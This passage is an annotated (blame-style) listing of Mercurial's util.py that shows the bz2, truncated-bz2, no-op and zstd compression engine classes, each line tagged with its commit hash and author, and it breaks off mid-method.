358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30342
diff changeset
  3408
class _bz2engine(compressionengine):
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30342
diff changeset
  3409
    def name(self):
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30342
diff changeset
  3410
        return 'bz2'
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30342
diff changeset
  3411
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30342
diff changeset
  3412
    def bundletype(self):
31795
55c0c91f55e6 util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 31780
diff changeset
  3413
        """An algorithm that produces smaller bundles than ``gzip``.
55c0c91f55e6 util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 31780
diff changeset
  3414
55c0c91f55e6 util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 31780
diff changeset
  3415
        All Mercurial clients should support this format.
55c0c91f55e6 util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 31780
diff changeset
  3416
55c0c91f55e6 util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 31780
diff changeset
  3417
        This engine will likely produce smaller bundles than ``gzip`` but
55c0c91f55e6 util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 31780
diff changeset
  3418
        will be significantly slower, both during compression and
55c0c91f55e6 util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 31780
diff changeset
  3419
        decompression.
55c0c91f55e6 util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 31780
diff changeset
  3420
55c0c91f55e6 util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 31780
diff changeset
  3421
        If available, the ``zstd`` engine can yield similar or better
55c0c91f55e6 util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 31780
diff changeset
  3422
        compression at much higher speeds.
55c0c91f55e6 util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 31780
diff changeset
  3423
        """
30360
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30342
diff changeset
  3424
        return 'bzip2', 'BZ'
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30342
diff changeset
  3425
30761
7283719e2bfd util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30745
diff changeset
  3426
    # We declare a protocol name but don't advertise by default because
7283719e2bfd util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30745
diff changeset
  3427
    # it is slow.
7283719e2bfd util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30745
diff changeset
  3428
    def wireprotosupport(self):
7283719e2bfd util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30745
diff changeset
  3429
        return compewireprotosupport('bzip2', 0, 0)
7283719e2bfd util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30745
diff changeset
  3430
30366
c86109eface7 util: add a stream compression API to compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30365
diff changeset
  3431
    def compressstream(self, it, opts=None):
c86109eface7 util: add a stream compression API to compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30365
diff changeset
  3432
        opts = opts or {}
c86109eface7 util: add a stream compression API to compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30365
diff changeset
  3433
        z = bz2.BZ2Compressor(opts.get('level', 9))
c86109eface7 util: add a stream compression API to compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30365
diff changeset
  3434
        for chunk in it:
c86109eface7 util: add a stream compression API to compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30365
diff changeset
  3435
            data = z.compress(chunk)
c86109eface7 util: add a stream compression API to compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30365
diff changeset
  3436
            if data:
c86109eface7 util: add a stream compression API to compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30365
diff changeset
  3437
                yield data
c86109eface7 util: add a stream compression API to compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30365
diff changeset
  3438
c86109eface7 util: add a stream compression API to compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30365
diff changeset
  3439
        yield z.flush()
c86109eface7 util: add a stream compression API to compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30365
diff changeset
  3440
30360
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30342
diff changeset
  3441
    def decompressorreader(self, fh):
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30342
diff changeset
  3442
        def gen():
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30342
diff changeset
  3443
            d = bz2.BZ2Decompressor()
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30342
diff changeset
  3444
            for chunk in filechunkiter(fh):
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30342
diff changeset
  3445
                yield d.decompress(chunk)
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30342
diff changeset
  3446
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30342
diff changeset
  3447
        return chunkbuffer(gen())
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30342
diff changeset
  3448
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30342
diff changeset
  3449
compengines.register(_bz2engine())
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30342
diff changeset
  3450
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30342
diff changeset
  3451
class _truncatedbz2engine(compressionengine):
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30342
diff changeset
  3452
    def name(self):
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30342
diff changeset
  3453
        return 'bz2truncated'
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30342
diff changeset
  3454
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30342
diff changeset
  3455
    def bundletype(self):
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30342
diff changeset
  3456
        return None, '_truncatedBZ'
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30342
diff changeset
  3457
30369
673f0fdc1046 util: remove compressorobj API from compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30366
diff changeset
  3458
    # We don't implement compressstream because it is hackily handled elsewhere.
30360
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30342
diff changeset
  3459
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30342
diff changeset
  3460
    def decompressorreader(self, fh):
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30342
diff changeset
  3461
        def gen():
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30342
diff changeset
  3462
            # The input stream doesn't have the 'BZ' header. So add it back.
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30342
diff changeset
  3463
            d = bz2.BZ2Decompressor()
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30342
diff changeset
  3464
            d.decompress('BZ')
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30342
diff changeset
  3465
            for chunk in filechunkiter(fh):
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30342
diff changeset
  3466
                yield d.decompress(chunk)
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30342
diff changeset
  3467
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30342
diff changeset
  3468
        return chunkbuffer(gen())
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30342
diff changeset
  3469
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30342
diff changeset
  3470
compengines.register(_truncatedbz2engine())
30279
6a8aff737a17 util: put compression code next to each other
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30181
diff changeset
  3471
30360
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30342
diff changeset
  3472
class _noopengine(compressionengine):
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30342
diff changeset
  3473
    def name(self):
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30342
diff changeset
  3474
        return 'none'
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30342
diff changeset
  3475
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30342
diff changeset
  3476
    def bundletype(self):
31795
55c0c91f55e6 util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 31780
diff changeset
  3477
        """No compression is performed.
55c0c91f55e6 util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 31780
diff changeset
  3478
55c0c91f55e6 util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 31780
diff changeset
  3479
        Use this compression engine to explicitly disable compression.
55c0c91f55e6 util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 31780
diff changeset
  3480
        """
30360
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30342
diff changeset
  3481
        return 'none', 'UN'
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30342
diff changeset
  3482
30761
7283719e2bfd util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30745
diff changeset
  3483
    # Clients always support uncompressed payloads. Servers don't because
7283719e2bfd util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30745
diff changeset
  3484
    # unless you are on a fast network, uncompressed payloads can easily
7283719e2bfd util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30745
diff changeset
  3485
    # saturate your network pipe.
7283719e2bfd util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30745
diff changeset
  3486
    def wireprotosupport(self):
7283719e2bfd util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30745
diff changeset
  3487
        return compewireprotosupport('none', 0, 10)
7283719e2bfd util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30745
diff changeset
  3488
30798
f50c0db50025 util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30794
diff changeset
  3489
    # We don't implement revlogheader because it is handled specially
f50c0db50025 util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30794
diff changeset
  3490
    # in the revlog class.
f50c0db50025 util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30794
diff changeset
  3491
30366
c86109eface7 util: add a stream compression API to compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30365
diff changeset
  3492
    def compressstream(self, it, opts=None):
c86109eface7 util: add a stream compression API to compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30365
diff changeset
  3493
        return it
c86109eface7 util: add a stream compression API to compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30365
diff changeset
  3494
30360
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30342
diff changeset
  3495
    def decompressorreader(self, fh):
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30342
diff changeset
  3496
        return fh
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30342
diff changeset
  3497
30794
31e1f0d4ab44 util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30773
diff changeset
  3498
    class nooprevlogcompressor(object):
31e1f0d4ab44 util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30773
diff changeset
  3499
        def compress(self, data):
31e1f0d4ab44 util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30773
diff changeset
  3500
            return None
31e1f0d4ab44 util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30773
diff changeset
  3501
31e1f0d4ab44 util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30773
diff changeset
  3502
    def revlogcompressor(self, opts=None):
31e1f0d4ab44 util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30773
diff changeset
  3503
        return self.nooprevlogcompressor()
31e1f0d4ab44 util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30773
diff changeset
  3504
30360
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30342
diff changeset
  3505
compengines.register(_noopengine())
26266
1e042e31bd0c changegroup: move all compressions utilities in util
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 26201
diff changeset
  3506
30451
41a8106789ca util: implement zstd compression engine
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30447
diff changeset
  3507
class _zstdengine(compressionengine):
41a8106789ca util: implement zstd compression engine
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30447
diff changeset
  3508
    def name(self):
41a8106789ca util: implement zstd compression engine
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30447
diff changeset
  3509
        return 'zstd'
41a8106789ca util: implement zstd compression engine
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30447
diff changeset
  3510
41a8106789ca util: implement zstd compression engine
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30447
diff changeset
  3511
    @propertycache
41a8106789ca util: implement zstd compression engine
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30447
diff changeset
  3512
    def _module(self):
41a8106789ca util: implement zstd compression engine
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30447
diff changeset
  3513
        # Not all installs have the zstd module available. So defer importing
41a8106789ca util: implement zstd compression engine
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30447
diff changeset
  3514
        # until first access.
41a8106789ca util: implement zstd compression engine
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30447
diff changeset
  3515
        try:
41a8106789ca util: implement zstd compression engine
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30447
diff changeset
  3516
            from . import zstd
41a8106789ca util: implement zstd compression engine
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30447
diff changeset
  3517
            # Force delayed import.
41a8106789ca util: implement zstd compression engine
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30447
diff changeset
  3518
            zstd.__version__
41a8106789ca util: implement zstd compression engine
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30447
diff changeset
  3519
            return zstd
41a8106789ca util: implement zstd compression engine
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30447
diff changeset
  3520
        except ImportError:
41a8106789ca util: implement zstd compression engine
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30447
diff changeset
  3521
            return None
41a8106789ca util: implement zstd compression engine
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30447
diff changeset
  3522
41a8106789ca util: implement zstd compression engine
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30447
diff changeset
  3523
    def available(self):
41a8106789ca util: implement zstd compression engine
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30447
diff changeset
  3524
        return bool(self._module)
41a8106789ca util: implement zstd compression engine
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30447
diff changeset
  3525
41a8106789ca util: implement zstd compression engine
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30447
diff changeset
  3526
    def bundletype(self):
31795
55c0c91f55e6 util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 31780
diff changeset
  3527
        """A modern compression algorithm that is fast and highly flexible.
55c0c91f55e6 util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 31780
diff changeset
  3528
55c0c91f55e6 util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 31780
diff changeset
  3529
        Only supported by Mercurial 4.1 and newer clients.
55c0c91f55e6 util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 31780
diff changeset
  3530
55c0c91f55e6 util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 31780
diff changeset
  3531
        With the default settings, zstd compression is both faster and yields
55c0c91f55e6 util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 31780
diff changeset
  3532
        better compression than ``gzip``. It also frequently yields better
55c0c91f55e6 util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 31780
diff changeset
  3533
        compression than ``bzip2`` while operating at much higher speeds.
55c0c91f55e6 util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 31780
diff changeset
  3534
55c0c91f55e6 util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 31780
diff changeset
  3535
        If this engine is available and backwards compatibility is not a
55c0c91f55e6 util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 31780
diff changeset
  3536
        concern, it is likely the best available engine.
55c0c91f55e6 util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 31780
diff changeset
  3537
        """
30451
41a8106789ca util: implement zstd compression engine
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30447
diff changeset
  3538
        return 'zstd', 'ZS'
41a8106789ca util: implement zstd compression engine
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30447
diff changeset
  3539
30761
7283719e2bfd util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30745
diff changeset
  3540
    def wireprotosupport(self):
7283719e2bfd util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30745
diff changeset
  3541
        return compewireprotosupport('zstd', 50, 50)
7283719e2bfd util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30745
diff changeset
  3542
30798
f50c0db50025 util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30794
diff changeset
  3543
    def revlogheader(self):
f50c0db50025 util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30794
diff changeset
  3544
        return '\x28'
f50c0db50025 util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30794
diff changeset
  3545
30451
41a8106789ca util: implement zstd compression engine
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30447
diff changeset
  3546
    def compressstream(self, it, opts=None):
41a8106789ca util: implement zstd compression engine
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30447
diff changeset
  3547
        opts = opts or {}
41a8106789ca util: implement zstd compression engine
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30447
diff changeset
  3548
        # zstd level 3 is almost always significantly faster than zlib
41a8106789ca util: implement zstd compression engine
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30447
diff changeset
  3549
        # while providing no worse compression. It strikes a good balance
41a8106789ca util: implement zstd compression engine
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30447
diff changeset
  3550
        # between speed and compression.
41a8106789ca util: implement zstd compression engine
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30447
diff changeset
  3551
        level = opts.get('level', 3)
41a8106789ca util: implement zstd compression engine
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30447
diff changeset
  3552
41a8106789ca util: implement zstd compression engine
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30447
diff changeset
  3553
        zstd = self._module
41a8106789ca util: implement zstd compression engine
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30447
diff changeset
  3554
        z = zstd.ZstdCompressor(level=level).compressobj()
41a8106789ca util: implement zstd compression engine
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30447
diff changeset
  3555
        for chunk in it:
41a8106789ca util: implement zstd compression engine
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30447
diff changeset
  3556
            data = z.compress(chunk)
41a8106789ca util: implement zstd compression engine
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30447
diff changeset
  3557
            if data:
41a8106789ca util: implement zstd compression engine
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30447
diff changeset
  3558
                yield data
41a8106789ca util: implement zstd compression engine
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30447
diff changeset
  3559
41a8106789ca util: implement zstd compression engine
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30447
diff changeset
  3560
        yield z.flush()
41a8106789ca util: implement zstd compression engine
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30447
diff changeset
  3561
41a8106789ca util: implement zstd compression engine
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30447
diff changeset
  3562
    def decompressorreader(self, fh):
41a8106789ca util: implement zstd compression engine
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30447
diff changeset
  3563
        zstd = self._module
41a8106789ca util: implement zstd compression engine
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30447
diff changeset
  3564
        dctx = zstd.ZstdDecompressor()
41a8106789ca util: implement zstd compression engine
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30447
diff changeset
  3565
        return chunkbuffer(dctx.read_from(fh))
41a8106789ca util: implement zstd compression engine
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30447
diff changeset
  3566
30794
31e1f0d4ab44 util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30773
diff changeset
  3567
    class zstdrevlogcompressor(object):
31e1f0d4ab44 util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30773
diff changeset
  3568
        def __init__(self, zstd, level=3):
37496
1765ed63db40 util: drop write_content_size=True
Gregory Szorc <gregory.szorc@gmail.com>
parents: 37455
diff changeset
  3569
            # TODO consider omitting frame magic to save 4 bytes.
1765ed63db40 util: drop write_content_size=True
Gregory Szorc <gregory.szorc@gmail.com>
parents: 37455
diff changeset
  3570
            # This writes content sizes into the frame header. That is
1765ed63db40 util: drop write_content_size=True
Gregory Szorc <gregory.szorc@gmail.com>
parents: 37455
diff changeset
  3571
            # extra storage. But it allows a correct size memory allocation
1765ed63db40 util: drop write_content_size=True
Gregory Szorc <gregory.szorc@gmail.com>
parents: 37455
diff changeset
  3572
            # to hold the result.
1765ed63db40 util: drop write_content_size=True
Gregory Szorc <gregory.szorc@gmail.com>
parents: 37455
diff changeset
  3573
            self._cctx = zstd.ZstdCompressor(level=level)
30798
f50c0db50025 util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30794
diff changeset
  3574
            self._dctx = zstd.ZstdDecompressor()
30794
31e1f0d4ab44 util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30773
diff changeset
  3575
            self._compinsize = zstd.COMPRESSION_RECOMMENDED_INPUT_SIZE
30798
f50c0db50025 util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30794
diff changeset
  3576
            self._decompinsize = zstd.DECOMPRESSION_RECOMMENDED_INPUT_SIZE
30794
31e1f0d4ab44 util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30773
diff changeset
  3577
31e1f0d4ab44 util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30773
diff changeset
  3578
        def compress(self, data):
31e1f0d4ab44 util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30773
diff changeset
  3579
            insize = len(data)
31e1f0d4ab44 util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30773
diff changeset
  3580
            # Caller handles empty input case.
31e1f0d4ab44 util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30773
diff changeset
  3581
            assert insize > 0
31e1f0d4ab44 util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30773
diff changeset
  3582
31e1f0d4ab44 util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30773
diff changeset
  3583
            if insize < 50:
31e1f0d4ab44 util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30773
diff changeset
  3584
                return None
31e1f0d4ab44 util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30773
diff changeset
  3585
31e1f0d4ab44 util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30773
diff changeset
  3586
            elif insize <= 1000000:
31e1f0d4ab44 util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30773
diff changeset
  3587
                compressed = self._cctx.compress(data)
31e1f0d4ab44 util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30773
diff changeset
  3588
                if len(compressed) < insize:
31e1f0d4ab44 util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30773
diff changeset
  3589
                    return compressed
31e1f0d4ab44 util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30773
diff changeset
  3590
                return None
31e1f0d4ab44 util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30773
diff changeset
  3591
            else:
31e1f0d4ab44 util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30773
diff changeset
  3592
                z = self._cctx.compressobj()
31e1f0d4ab44 util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30773
diff changeset
  3593
                chunks = []
31e1f0d4ab44 util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30773
diff changeset
  3594
                pos = 0
31e1f0d4ab44 util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30773
diff changeset
  3595
                while pos < insize:
31e1f0d4ab44 util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30773
diff changeset
  3596
                    pos2 = pos + self._compinsize
31e1f0d4ab44 util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30773
diff changeset
  3597
                    chunk = z.compress(data[pos:pos2])
31e1f0d4ab44 util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30773
diff changeset
  3598
                    if chunk:
31e1f0d4ab44 util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30773
diff changeset
  3599
                        chunks.append(chunk)
31e1f0d4ab44 util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30773
diff changeset
  3600
                    pos = pos2
31e1f0d4ab44 util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30773
diff changeset
  3601
                chunks.append(z.flush())
31e1f0d4ab44 util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30773
diff changeset
  3602
31e1f0d4ab44 util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30773
diff changeset
  3603
                if sum(map(len, chunks)) < insize:
31e1f0d4ab44 util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30773
diff changeset
  3604
                    return ''.join(chunks)
31e1f0d4ab44 util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30773
diff changeset
  3605
                return None
31e1f0d4ab44 util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30773
diff changeset
  3606
30798
f50c0db50025 util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30794
diff changeset
  3607
        def decompress(self, data):
f50c0db50025 util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30794
diff changeset
  3608
            insize = len(data)
f50c0db50025 util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30794
diff changeset
  3609
f50c0db50025 util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30794
diff changeset
  3610
            try:
